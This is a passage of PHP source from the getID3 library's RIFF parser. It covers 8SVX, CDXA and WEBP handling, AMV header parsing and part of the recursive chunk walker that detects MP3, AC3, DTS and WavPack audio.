getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 0, 4)); $thisfile_riff_RIFFsubtype_VHDR_0['repeatHiSamples'] = getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 4, 4)); $thisfile_riff_RIFFsubtype_VHDR_0['samplesPerHiCycle'] = getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 8, 4)); $thisfile_riff_RIFFsubtype_VHDR_0['samplesPerSec'] = getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 12, 2)); $thisfile_riff_RIFFsubtype_VHDR_0['ctOctave'] = getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 14, 1)); $thisfile_riff_RIFFsubtype_VHDR_0['sCompression'] = getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 15, 1)); $thisfile_riff_RIFFsubtype_VHDR_0['Volume'] = getid3_lib::FixedPoint16_16(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 16, 4)); $thisfile_audio['sample_rate'] = $thisfile_riff_RIFFsubtype_VHDR_0['samplesPerSec']; switch ($thisfile_riff_RIFFsubtype_VHDR_0['sCompression']) { case 0: $thisfile_audio['codec'] = 'Pulse Code Modulation (PCM)'; $thisfile_audio['lossless'] = true; $ActualBitsPerSample = 8; break; case 1: $thisfile_audio['codec'] = 'Fibonacci-delta encoding'; $thisfile_audio['lossless'] = false; $ActualBitsPerSample = 4; break; default: $this->warning('Unexpected sCompression value in 8SVX.VHDR chunk - expecting 0 or 1, found "'.$thisfile_riff_RIFFsubtype_VHDR_0['sCompression'].'"'); break; } } if (isset($thisfile_riff[$RIFFsubtype]['CHAN'][0]['data'])) { $ChannelsIndex = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['CHAN'][0]['data'], 0, 4)); switch ($ChannelsIndex) { case 6: // Stereo $thisfile_audio['channels'] = 2; break; case 2: // Left channel only case 4: // Right channel only $thisfile_audio['channels'] = 1; break; default: $this->warning('Unexpected value in 8SVX.CHAN chunk - expecting 2 or 4 or 6, found "'.$ChannelsIndex.'"'); break; } } $CommentsChunkNames = array('NAME'=>'title', 'author'=>'artist', '(c) '=>'copyright', 'ANNO'=>'comment'); foreach ($CommentsChunkNames as $key => $value) { if (isset($thisfile_riff[$RIFFsubtype][$key][0]['data'])) { $thisfile_riff['comments'][$value][] = $thisfile_riff[$RIFFsubtype][$key][0]['data']; } } $thisfile_audio['bitrate'] = $thisfile_audio['sample_rate'] * $ActualBitsPerSample * $thisfile_audio['channels']; if (!empty($thisfile_audio['bitrate'])) { $info['playtime_seconds'] = ($info['avdataend'] - $info['avdataoffset']) / ($thisfile_audio['bitrate'] / 8); } break; case 'CDXA': $info['fileformat'] = 'vcd'; // Asume Video CD $info['mime_type'] = 'video/mpeg'; if (!empty($thisfile_riff['CDXA']['data'][0]['size'])) { getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.mpeg.php', __FILE__, true); $getid3_temp = new getID3(); $getid3_temp->openfile($this->getid3->filename, null, $this->getid3->fp); $getid3_mpeg = new getid3_mpeg($getid3_temp); $getid3_mpeg->Analyze(); if (empty($getid3_temp->info['error'])) { $info['audio'] = $getid3_temp->info['audio']; $info['video'] = $getid3_temp->info['video']; $info['mpeg'] = $getid3_temp->info['mpeg']; $info['warning'] = $getid3_temp->info['warning']; } unset($getid3_temp, $getid3_mpeg); } break; case 'WEBP': // https://developers.google.com/speed/webp/docs/riff_container // https://tools.ietf.org/html/rfc6386 // https://chromium.googlesource.com/webm/libwebp/+/master/doc/webp-lossless-bitstream-spec.txt $info['fileformat'] = 'webp'; $info['mime_type'] = 'image/webp'; if (!empty($thisfile_riff['WEBP']['VP8 '][0]['size'])) { $old_offset = $this->ftell(); $this->fseek($thisfile_riff['WEBP']['VP8 '][0]['offset'] + 8); // 4 bytes "VP8 " + 4 bytes chunk size $WEBP_VP8_header = $this->fread(10); $this->fseek($old_offset); if (substr($WEBP_VP8_header, 3, 3) == "\x9D\x01\x2A") { $thisfile_riff['WEBP']['VP8 '][0]['keyframe'] = !(getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 0, 3)) & 0x800000); $thisfile_riff['WEBP']['VP8 '][0]['version'] = (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 0, 3)) & 0x700000) >> 20; $thisfile_riff['WEBP']['VP8 '][0]['show_frame'] = (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 0, 3)) & 0x080000); $thisfile_riff['WEBP']['VP8 '][0]['data_bytes'] = (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 0, 3)) & 0x07FFFF) >> 0; $thisfile_riff['WEBP']['VP8 '][0]['scale_x'] = (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 6, 2)) & 0xC000) >> 14; $thisfile_riff['WEBP']['VP8 '][0]['width'] = (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 6, 2)) & 0x3FFF); $thisfile_riff['WEBP']['VP8 '][0]['scale_y'] = (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 8, 2)) & 0xC000) >> 14; $thisfile_riff['WEBP']['VP8 '][0]['height'] = (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 8, 2)) & 0x3FFF); $info['video']['resolution_x'] = $thisfile_riff['WEBP']['VP8 '][0]['width']; $info['video']['resolution_y'] = $thisfile_riff['WEBP']['VP8 '][0]['height']; } else { $this->error('Expecting 9D 01 2A at offset '.($thisfile_riff['WEBP']['VP8 '][0]['offset'] + 8 + 3).', found "'.getid3_lib::PrintHexBytes(substr($WEBP_VP8_header, 3, 3)).'"'); } } if (!empty($thisfile_riff['WEBP']['VP8L'][0]['size'])) { $old_offset = $this->ftell(); $this->fseek($thisfile_riff['WEBP']['VP8L'][0]['offset'] + 8); // 4 bytes "VP8L" + 4 bytes chunk size $WEBP_VP8L_header = $this->fread(10); $this->fseek($old_offset); if (substr($WEBP_VP8L_header, 0, 1) == "\x2F") { $width_height_flags = getid3_lib::LittleEndian2Bin(substr($WEBP_VP8L_header, 1, 4)); $thisfile_riff['WEBP']['VP8L'][0]['width'] = bindec(substr($width_height_flags, 18, 14)) + 1; $thisfile_riff['WEBP']['VP8L'][0]['height'] = bindec(substr($width_height_flags, 4, 14)) + 1; $thisfile_riff['WEBP']['VP8L'][0]['alpha_is_used'] = (bool) bindec(substr($width_height_flags, 3, 1)); $thisfile_riff['WEBP']['VP8L'][0]['version'] = bindec(substr($width_height_flags, 0, 3)); $info['video']['resolution_x'] = $thisfile_riff['WEBP']['VP8L'][0]['width']; $info['video']['resolution_y'] = $thisfile_riff['WEBP']['VP8L'][0]['height']; } else { $this->error('Expecting 2F at offset '.($thisfile_riff['WEBP']['VP8L'][0]['offset'] + 8).', found "'.getid3_lib::PrintHexBytes(substr($WEBP_VP8L_header, 0, 1)).'"'); } } break; default: $this->error('Unknown RIFF type: expecting one of (WAVE|RMP3|AVI |CDDA|AIFF|AIFC|8SVX|CDXA|WEBP), found "'.$RIFFsubtype.'" instead'); //unset($info['fileformat']); } switch ($RIFFsubtype) { case 'WAVE': case 'AIFF': case 'AIFC': $ID3v2_key_good = 'id3 '; $ID3v2_keys_bad = array('ID3 ', 'tag '); foreach ($ID3v2_keys_bad as $ID3v2_key_bad) { if (isset($thisfile_riff[$RIFFsubtype][$ID3v2_key_bad]) && !array_key_exists($ID3v2_key_good, $thisfile_riff[$RIFFsubtype])) { $thisfile_riff[$RIFFsubtype][$ID3v2_key_good] = $thisfile_riff[$RIFFsubtype][$ID3v2_key_bad]; $this->warning('mapping "'.$ID3v2_key_bad.'" chunk to "'.$ID3v2_key_good.'"'); } } if (isset($thisfile_riff[$RIFFsubtype]['id3 '])) { getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v2.php', __FILE__, true); $getid3_temp = new getID3(); $getid3_temp->openfile($this->getid3->filename, null, $this->getid3->fp); $getid3_id3v2 = new getid3_id3v2($getid3_temp); $getid3_id3v2->StartingOffset = $thisfile_riff[$RIFFsubtype]['id3 '][0]['offset'] + 8; if ($thisfile_riff[$RIFFsubtype]['id3 '][0]['valid'] = $getid3_id3v2->Analyze()) { $info['id3v2'] = $getid3_temp->info['id3v2']; } unset($getid3_temp, $getid3_id3v2); } break; } if (isset($thisfile_riff_WAVE['DISP']) && is_array($thisfile_riff_WAVE['DISP'])) { $thisfile_riff['comments']['title'][] = trim(substr($thisfile_riff_WAVE['DISP'][count($thisfile_riff_WAVE['DISP']) - 1]['data'], 4)); } if (isset($thisfile_riff_WAVE['INFO']) && is_array($thisfile_riff_WAVE['INFO'])) { self::parseComments($thisfile_riff_WAVE['INFO'], $thisfile_riff['comments']); } if (isset($thisfile_riff['AVI ']['INFO']) && is_array($thisfile_riff['AVI ']['INFO'])) { self::parseComments($thisfile_riff['AVI ']['INFO'], $thisfile_riff['comments']); } if (empty($thisfile_audio['encoder']) && !empty($info['mpeg']['audio']['LAME']['short_version'])) { $thisfile_audio['encoder'] = $info['mpeg']['audio']['LAME']['short_version']; } if (!isset($info['playtime_seconds'])) { $info['playtime_seconds'] = 0; } if (isset($thisfile_riff_raw['strh'][0]['dwLength']) && isset($thisfile_riff_raw['avih']['dwMicroSecPerFrame'])) { // needed for >2GB AVIs where 'avih' chunk only lists number of frames in that chunk, not entire movie $info['playtime_seconds'] = $thisfile_riff_raw['strh'][0]['dwLength'] * ($thisfile_riff_raw['avih']['dwMicroSecPerFrame'] / 1000000); } elseif (isset($thisfile_riff_raw['avih']['dwTotalFrames']) && isset($thisfile_riff_raw['avih']['dwMicroSecPerFrame'])) { $info['playtime_seconds'] = $thisfile_riff_raw['avih']['dwTotalFrames'] * ($thisfile_riff_raw['avih']['dwMicroSecPerFrame'] / 1000000); } if ($info['playtime_seconds'] > 0) { if (isset($thisfile_riff_audio) && isset($thisfile_riff_video)) { if (!isset($info['bitrate'])) { $info['bitrate'] = ((($info['avdataend'] - $info['avdataoffset']) / $info['playtime_seconds']) * 8); } } elseif (isset($thisfile_riff_audio) && !isset($thisfile_riff_video)) { if (!isset($thisfile_audio['bitrate'])) { $thisfile_audio['bitrate'] = ((($info['avdataend'] - $info['avdataoffset']) / $info['playtime_seconds']) * 8); } } elseif (!isset($thisfile_riff_audio) && isset($thisfile_riff_video)) { if (!isset($thisfile_video['bitrate'])) { $thisfile_video['bitrate'] = ((($info['avdataend'] - $info['avdataoffset']) / $info['playtime_seconds']) * 8); } } } if (isset($thisfile_riff_video) && isset($thisfile_audio['bitrate']) && ($thisfile_audio['bitrate'] > 0) && ($info['playtime_seconds'] > 0)) { $info['bitrate'] = ((($info['avdataend'] - $info['avdataoffset']) / $info['playtime_seconds']) * 8); $thisfile_audio['bitrate'] = 0; $thisfile_video['bitrate'] = $info['bitrate']; foreach ($thisfile_riff_audio as $channelnumber => $audioinfoarray) { $thisfile_video['bitrate'] -= $audioinfoarray['bitrate']; $thisfile_audio['bitrate'] += $audioinfoarray['bitrate']; } if ($thisfile_video['bitrate'] <= 0) { unset($thisfile_video['bitrate']); } if ($thisfile_audio['bitrate'] <= 0) { unset($thisfile_audio['bitrate']); } } if (isset($info['mpeg']['audio'])) { $thisfile_audio_dataformat = 'mp'.$info['mpeg']['audio']['layer']; $thisfile_audio['sample_rate'] = $info['mpeg']['audio']['sample_rate']; $thisfile_audio['channels'] = $info['mpeg']['audio']['channels']; $thisfile_audio['bitrate'] = $info['mpeg']['audio']['bitrate']; $thisfile_audio['bitrate_mode'] = strtolower($info['mpeg']['audio']['bitrate_mode']); if (!empty($info['mpeg']['audio']['codec'])) { $thisfile_audio['codec'] = $info['mpeg']['audio']['codec'].' '.$thisfile_audio['codec']; } if (!empty($thisfile_audio['streams'])) { foreach ($thisfile_audio['streams'] as $streamnumber => $streamdata) { if ($streamdata['dataformat'] == $thisfile_audio_dataformat) { $thisfile_audio['streams'][$streamnumber]['sample_rate'] = $thisfile_audio['sample_rate']; $thisfile_audio['streams'][$streamnumber]['channels'] = $thisfile_audio['channels']; $thisfile_audio['streams'][$streamnumber]['bitrate'] = $thisfile_audio['bitrate']; $thisfile_audio['streams'][$streamnumber]['bitrate_mode'] = $thisfile_audio['bitrate_mode']; $thisfile_audio['streams'][$streamnumber]['codec'] = $thisfile_audio['codec']; } } } $getid3_mp3 = new getid3_mp3($this->getid3); $thisfile_audio['encoder_options'] = $getid3_mp3->GuessEncoderOptions(); unset($getid3_mp3); } if (!empty($thisfile_riff_raw['fmt ']['wBitsPerSample']) && ($thisfile_riff_raw['fmt ']['wBitsPerSample'] > 0)) { switch ($thisfile_audio_dataformat) { case 'ac3': // ignore bits_per_sample break; default: $thisfile_audio['bits_per_sample'] = $thisfile_riff_raw['fmt ']['wBitsPerSample']; break; } } if (empty($thisfile_riff_raw)) { unset($thisfile_riff['raw']); } if (empty($thisfile_riff_audio)) { unset($thisfile_riff['audio']); } if (empty($thisfile_riff_video)) { unset($thisfile_riff['video']); } return true; } /** * @param int $startoffset * @param int $maxoffset * * @return array|false * * @throws Exception * @throws getid3_exception */ public function ParseRIFFAMV($startoffset, $maxoffset) { // AMV files are RIFF-AVI files with parts of the spec deliberately broken, such as chunk size fields hardcoded to zero (because players known in hardware that these fields are always a certain size // https://code.google.com/p/amv-codec-tools/wiki/AmvDocumentation //typedef struct _amvmainheader { //FOURCC fcc; // 'amvh' //DWORD cb; //DWORD dwMicroSecPerFrame; //BYTE reserve[28]; //DWORD dwWidth; //DWORD dwHeight; //DWORD dwSpeed; //DWORD reserve0; //DWORD reserve1; //BYTE bTimeSec; //BYTE bTimeMin; //WORD wTimeHour; //} AMVMAINHEADER; $info = &$this->getid3->info; $RIFFchunk = false; try { $this->fseek($startoffset); $maxoffset = min($maxoffset, $info['avdataend']); $AMVheader = $this->fread(284); if (substr($AMVheader, 0, 8) != 'hdrlamvh') { throw new Exception('expecting "hdrlamv" at offset '.($startoffset + 0).', found "'.substr($AMVheader, 0, 8).'"'); } if (substr($AMVheader, 8, 4) != "\x38\x00\x00\x00") { // "amvh" chunk size, hardcoded to 0x38 = 56 bytes throw new Exception('expecting "0x38000000" at offset '.($startoffset + 8).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader, 8, 4)).'"'); } $RIFFchunk = array(); $RIFFchunk['amvh']['us_per_frame'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 12, 4)); $RIFFchunk['amvh']['reserved28'] = substr($AMVheader, 16, 28); // null? reserved? $RIFFchunk['amvh']['resolution_x'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 44, 4)); $RIFFchunk['amvh']['resolution_y'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 48, 4)); $RIFFchunk['amvh']['frame_rate_int'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 52, 4)); $RIFFchunk['amvh']['reserved0'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 56, 4)); // 1? reserved? $RIFFchunk['amvh']['reserved1'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 60, 4)); // 0? reserved? $RIFFchunk['amvh']['runtime_sec'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 64, 1)); $RIFFchunk['amvh']['runtime_min'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 65, 1)); $RIFFchunk['amvh']['runtime_hrs'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 66, 2)); $info['video']['frame_rate'] = 1000000 / $RIFFchunk['amvh']['us_per_frame']; $info['video']['resolution_x'] = $RIFFchunk['amvh']['resolution_x']; $info['video']['resolution_y'] = $RIFFchunk['amvh']['resolution_y']; $info['playtime_seconds'] = ($RIFFchunk['amvh']['runtime_hrs'] * 3600) + ($RIFFchunk['amvh']['runtime_min'] * 60) + $RIFFchunk['amvh']['runtime_sec']; // the rest is all hardcoded(?) and does not appear to be useful until you get to audio info at offset 256, even then everything is probably hardcoded if (substr($AMVheader, 68, 20) != 'LIST'."\x00\x00\x00\x00".'strlstrh'."\x38\x00\x00\x00") { throw new Exception('expecting "LIST<0x00000000>strlstrh<0x38000000>" at offset '.($startoffset + 68).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader, 68, 20)).'"'); } // followed by 56 bytes of null: substr($AMVheader, 88, 56) -> 144 if (substr($AMVheader, 144, 8) != 'strf'."\x24\x00\x00\x00") { throw new Exception('expecting "strf<0x24000000>" at offset '.($startoffset + 144).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader, 144, 8)).'"'); } // followed by 36 bytes of null: substr($AMVheader, 144, 36) -> 180 if (substr($AMVheader, 188, 20) != 'LIST'."\x00\x00\x00\x00".'strlstrh'."\x30\x00\x00\x00") { throw new Exception('expecting "LIST<0x00000000>strlstrh<0x30000000>" at offset '.($startoffset + 188).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader, 188, 20)).'"'); } // followed by 48 bytes of null: substr($AMVheader, 208, 48) -> 256 if (substr($AMVheader, 256, 8) != 'strf'."\x14\x00\x00\x00") { throw new Exception('expecting "strf<0x14000000>" at offset '.($startoffset + 256).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader, 256, 8)).'"'); } // followed by 20 bytes of a modified WAVEFORMATEX: // typedef struct { // WORD wFormatTag; //(Fixme: this is equal to PCM's 0x01 format code) // WORD nChannels; //(Fixme: this is always 1) // DWORD nSamplesPerSec; //(Fixme: for all known sample files this is equal to 22050) // DWORD nAvgBytesPerSec; //(Fixme: for all known sample files this is equal to 44100) // WORD nBlockAlign; //(Fixme: this seems to be 2 in AMV files, is this correct ?) // WORD wBitsPerSample; //(Fixme: this seems to be 16 in AMV files instead of the expected 4) // WORD cbSize; //(Fixme: this seems to be 0 in AMV files) // WORD reserved; // } WAVEFORMATEX; $RIFFchunk['strf']['wformattag'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 264, 2)); $RIFFchunk['strf']['nchannels'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 266, 2)); $RIFFchunk['strf']['nsamplespersec'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 268, 4)); $RIFFchunk['strf']['navgbytespersec'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 272, 4)); $RIFFchunk['strf']['nblockalign'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 276, 2)); $RIFFchunk['strf']['wbitspersample'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 278, 2)); $RIFFchunk['strf']['cbsize'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 280, 2)); $RIFFchunk['strf']['reserved'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 282, 2)); $info['audio']['lossless'] = false; $info['audio']['sample_rate'] = $RIFFchunk['strf']['nsamplespersec']; $info['audio']['channels'] = $RIFFchunk['strf']['nchannels']; $info['audio']['bits_per_sample'] = $RIFFchunk['strf']['wbitspersample']; $info['audio']['bitrate'] = $info['audio']['sample_rate'] * $info['audio']['channels'] * $info['audio']['bits_per_sample']; $info['audio']['bitrate_mode'] = 'cbr'; } catch (getid3_exception $e) { if ($e->getCode() == 10) { $this->warning('RIFFAMV parser: '.$e->getMessage()); } else { throw $e; } } return $RIFFchunk; } /** * @param int $startoffset * @param int $maxoffset * * @return array|false * @throws getid3_exception */ public function ParseRIFF($startoffset, $maxoffset) { $info = &$this->getid3->info; $RIFFchunk = false; $FoundAllChunksWeNeed = false; try { $this->fseek($startoffset); $maxoffset = min($maxoffset, $info['avdataend']); while ($this->ftell() < $maxoffset) { $chunknamesize = $this->fread(8); //$chunkname = substr($chunknamesize, 0, 4); $chunkname = str_replace("\x00", '_', substr($chunknamesize, 0, 4)); // note: chunk names of 4 null bytes do appear to be legal (has been observed inside INFO and PRMI chunks, for example), but makes traversing array keys more difficult $chunksize = $this->EitherEndian2Int(substr($chunknamesize, 4, 4)); //if (strlen(trim($chunkname, "\x00")) < 4) { if (strlen($chunkname) < 4) { $this->error('Expecting chunk name at offset '.($this->ftell() - 8).' but found nothing. Aborting RIFF parsing.'); break; } if (($chunksize == 0) && ($chunkname != 'JUNK')) { $this->warning('Chunk ('.$chunkname.') size at offset '.($this->ftell() - 4).' is zero. Aborting RIFF parsing.'); break; } if (($chunksize % 2) != 0) { // all structures are packed on word boundaries $chunksize++; } switch ($chunkname) { case 'LIST': $listname = $this->fread(4); if (preg_match('#^(movi|rec )$#i', $listname)) { $RIFFchunk[$listname]['offset'] = $this->ftell() - 4; $RIFFchunk[$listname]['size'] = $chunksize; if (!$FoundAllChunksWeNeed) { $WhereWeWere = $this->ftell(); $AudioChunkHeader = $this->fread(12); $AudioChunkStreamNum = substr($AudioChunkHeader, 0, 2); $AudioChunkStreamType = substr($AudioChunkHeader, 2, 2); $AudioChunkSize = getid3_lib::LittleEndian2Int(substr($AudioChunkHeader, 4, 4)); if ($AudioChunkStreamType == 'wb') { $FirstFourBytes = substr($AudioChunkHeader, 8, 4); if (preg_match('/^\xFF[\xE2-\xE7\xF2-\xF7\xFA-\xFF][\x00-\xEB]/s', $FirstFourBytes)) { // MP3 if (getid3_mp3::MPEGaudioHeaderBytesValid($FirstFourBytes)) { $getid3_temp = new getID3(); $getid3_temp->openfile($this->getid3->filename, null, $this->getid3->fp); $getid3_temp->info['avdataoffset'] = $this->ftell() - 4; $getid3_temp->info['avdataend'] = $this->ftell() + $AudioChunkSize; $getid3_mp3 = new getid3_mp3($getid3_temp, __CLASS__); $getid3_mp3->getOnlyMPEGaudioInfo($getid3_temp->info['avdataoffset'], false); if (isset($getid3_temp->info['mpeg']['audio'])) { $info['mpeg']['audio'] = $getid3_temp->info['mpeg']['audio']; $info['audio'] = $getid3_temp->info['audio']; $info['audio']['dataformat'] = 'mp'.$info['mpeg']['audio']['layer']; $info['audio']['sample_rate'] = $info['mpeg']['audio']['sample_rate']; $info['audio']['channels'] = $info['mpeg']['audio']['channels']; $info['audio']['bitrate'] = $info['mpeg']['audio']['bitrate']; $info['audio']['bitrate_mode'] = strtolower($info['mpeg']['audio']['bitrate_mode']); //$info['bitrate'] = $info['audio']['bitrate']; } unset($getid3_temp, $getid3_mp3); } } elseif (strpos($FirstFourBytes, getid3_ac3::syncword) === 0) { // AC3 $getid3_temp = new getID3(); $getid3_temp->openfile($this->getid3->filename, null, $this->getid3->fp); $getid3_temp->info['avdataoffset'] = $this->ftell() - 4; $getid3_temp->info['avdataend'] = $this->ftell() + $AudioChunkSize; $getid3_ac3 = new getid3_ac3($getid3_temp); $getid3_ac3->Analyze(); if (empty($getid3_temp->info['error'])) { $info['audio'] = $getid3_temp->info['audio']; $info['ac3'] = $getid3_temp->info['ac3']; if (!empty($getid3_temp->info['warning'])) { foreach ($getid3_temp->info['warning'] as $key => $value) { $this->warning($value); } } } unset($getid3_temp, $getid3_ac3); } } $FoundAllChunksWeNeed = true; $this->fseek($WhereWeWere); } $this->fseek($chunksize - 4, SEEK_CUR); } else { if (!isset($RIFFchunk[$listname])) { $RIFFchunk[$listname] = array(); } $LISTchunkParent = $listname; $LISTchunkMaxOffset = $this->ftell() - 4 + $chunksize; if ($parsedChunk = $this->ParseRIFF($this->ftell(), $LISTchunkMaxOffset)) { $RIFFchunk[$listname] = array_merge_recursive($RIFFchunk[$listname], $parsedChunk); } } break; default: if (preg_match('#^[0-9]{2}(wb|pc|dc|db)$#', $chunkname)) { $this->fseek($chunksize, SEEK_CUR); break; } $thisindex = 0; if (isset($RIFFchunk[$chunkname]) && is_array($RIFFchunk[$chunkname])) { $thisindex = count($RIFFchunk[$chunkname]); } $RIFFchunk[$chunkname][$thisindex]['offset'] = $this->ftell() - 8; $RIFFchunk[$chunkname][$thisindex]['size'] = $chunksize; switch ($chunkname) { case 'data': $info['avdataoffset'] = $this->ftell(); $info['avdataend'] = $info['avdataoffset'] + $chunksize; $testData = $this->fread(36); if ($testData === '') { break; } if (preg_match('/^\xFF[\xE2-\xE7\xF2-\xF7\xFA-\xFF][\x00-\xEB]/s', substr($testData, 0, 4))) { // Probably is MP3 data if (getid3_mp3::MPEGaudioHeaderBytesValid(substr($testData, 0, 4))) { $getid3_temp = new getID3(); $getid3_temp->openfile($this->getid3->filename, null, $this->getid3->fp); $getid3_temp->info['avdataoffset'] = $info['avdataoffset']; $getid3_temp->info['avdataend'] = $info['avdataend']; $getid3_mp3 = new getid3_mp3($getid3_temp, __CLASS__); $getid3_mp3->getOnlyMPEGaudioInfo($info['avdataoffset'], false); if (empty($getid3_temp->info['error'])) { $info['audio'] = $getid3_temp->info['audio']; $info['mpeg'] = $getid3_temp->info['mpeg']; } unset($getid3_temp, $getid3_mp3); } } elseif (($isRegularAC3 = (substr($testData, 0, 2) == getid3_ac3::syncword)) || substr($testData, 8, 2) == strrev(getid3_ac3::syncword)) { // This is probably AC-3 data $getid3_temp = new getID3(); if ($isRegularAC3) { $getid3_temp->openfile($this->getid3->filename, null, $this->getid3->fp); $getid3_temp->info['avdataoffset'] = $info['avdataoffset']; $getid3_temp->info['avdataend'] = $info['avdataend']; } $getid3_ac3 = new getid3_ac3($getid3_temp); if ($isRegularAC3) { $getid3_ac3->Analyze(); } else { // Dolby Digital WAV // AC-3 content, but not encoded in same format as normal AC-3 file // For one thing, byte order is swapped $ac3_data = ''; for ($i = 0; $i < 28; $i += 2) { $ac3_data .= substr($testData, 8 + $i + 1, 1); $ac3_data .= substr($testData, 8 + $i + 0, 1); } $getid3_ac3->AnalyzeString($ac3_data); } if (empty($getid3_temp->info['error'])) { $info['audio'] = $getid3_temp->info['audio']; $info['ac3'] = $getid3_temp->info['ac3']; if (!empty($getid3_temp->info['warning'])) { foreach ($getid3_temp->info['warning'] as $newerror) { $this->warning('getid3_ac3() says: ['.$newerror.']'); } } } unset($getid3_temp, $getid3_ac3); } elseif (preg_match('/^('.implode('|', array_map('preg_quote', getid3_dts::$syncwords)).')/', $testData)) { // This is probably DTS data $getid3_temp = new getID3(); $getid3_temp->openfile($this->getid3->filename, null, $this->getid3->fp); $getid3_temp->info['avdataoffset'] = $info['avdataoffset']; $getid3_dts = new getid3_dts($getid3_temp); $getid3_dts->Analyze(); if (empty($getid3_temp->info['error'])) { $info['audio'] = $getid3_temp->info['audio']; $info['dts'] = $getid3_temp->info['dts']; $info['playtime_seconds'] = $getid3_temp->info['playtime_seconds']; // may not match RIFF calculations since DTS-WAV often used 14/16 bit-word packing if (!empty($getid3_temp->info['warning'])) { foreach ($getid3_temp->info['warning'] as $newerror) { $this->warning('getid3_dts() says: ['.$newerror.']'); } } } unset($getid3_temp, $getid3_dts); } elseif (substr($testData, 0, 4) == 'wvpk') { // This is WavPack data $info['wavpack']['offset'] = $info['avdataoffset']; $info['wavpack']['size'] = getid3_lib::LittleEndian2Int(substr($testData, 4, 4)); $this->parseWavPackHeader(substr($testData, 8, 28)); } else { // This is some other kind of data (quite possibly just PCM) // do nothing special, just skip it } $nextoffset = $info['avdataend']; $this->fseek($nextoffset); break; case 'iXML': case 'bext': case 'cart': case 'fmt ': case 'strh': case 'strf': case 'indx': case 'MEXT': case 'DISP': // always read data in case 'JUNK': // should be: never read data in // but some programs write their version strings in a JUNK chunk (e.g. VirtualDub, AVIdemux, etc) if ($chunksize < 1048576) { if ($chunksize > 0) { $RIFFchunk[$chunkname][$thisindex]['data'] = $this->fread($chunksize); if ($chunkname == 'JUNK') { if (preg_match('#^([\\x20-\\x7F]+)#', $RIFFchunk[$chunkname][$thisindex]['data'], $matches)) { // only keep text characters [chr(32)-chr(127)] $info['riff']['comments']['junk'][] = trim($matches[1]); } // but if nothing there, ignore // remove the key in either case unset($RIFFchunk[$chunkname][$thisindex]['data']); } } } else { $this->warning('Chunk "'.$chunkname.'" at offset '.$this->ftell().' is unexpectedly larger than 1MB (claims to be '.number_format($chunksize).' bytes), skipping data'); $this->fseek($chunksize, SEEK_CUR); } break; //case 'IDVX': // $info['divxtag']['comments'] = self::ParseDIVXTAG($this->fread($chunksize)); // break; case 'scot': // https://cmsdk.com/node-js/adding-scot-chunk-to-wav-file.html $RIFFchunk[$chunkname][$thisindex]['data'] = $this->fread($chunksize); $RIFFchunk[$chunkname][$thisindex]['parsed']['alter'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 0, 1); $RIFFchunk[$chunkname][$thisindex]['parsed']['attrib'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 1, 1); $RIFFchunk[$chunkname][$thisindex]['parsed']['artnum'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 2, 2)); $RIFFchunk[$chunkname][$thisindex]['parsed']['title'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 4, 43); // "name" in other documentation $RIFFchunk[$chunkname][$thisindex]['parsed']['copy'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 47, 4); $RIFFchunk[$chunkname][$thisindex]['parsed']['padd'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 51, 1); $RIFFchunk[$chunkname][$thisindex]['parsed']['asclen'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 52, 5); $RIFFchunk[$chunkname][$thisindex]['parsed']['startseconds'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 57, 2)); $RIFFchunk[$chunkname][$thisindex]['parsed']['starthundredths'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 59, 2)); $RIFFchunk[$chunkname][$thisindex]['parsed']['endseconds'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 61, 2)); $RIFFchunk[$chunkname][$thisindex]['parsed']['endhundreths'] = 